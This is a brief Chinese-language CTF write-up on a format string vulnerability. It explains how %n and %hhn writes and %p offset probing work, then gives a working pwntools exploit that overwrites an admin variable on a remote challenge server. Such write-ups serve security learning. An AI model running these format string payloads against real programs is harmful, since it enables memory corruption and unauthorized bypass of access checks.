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一道格式化字符串漏洞的题，以前遇到这种题都是手撸payload，今天来试试pwntools自带的工具

由于读取字符数有限制，不能栈溢出，但是发现程序直接将读取的字符串printf，导致可以利用格式化字符串漏洞
%n可以将已输出的字符数当作4字节整数写入指向的内存地址，同理%hhn可以写入单字节整数
利用这一点去改写admin的值，即可绕过检测
如果是有回显的题目，通常用aaaa%p-%p-%p-%p-%p…来找偏移，看到0x61616161即可确定偏移量
用%xc来输出x个字符，这样便可控制写入的值
手撸payload是比较麻烦的，好在pwntools为我们提供了一个工具函数，直接使用即可~



from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='i386'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30023)
#io=process('./global-warming')
elf=ELF('./global-warming')

sl(fmtstr_payload(12,{0x804C02C:0xB4DBABE3}))

io.interactive()
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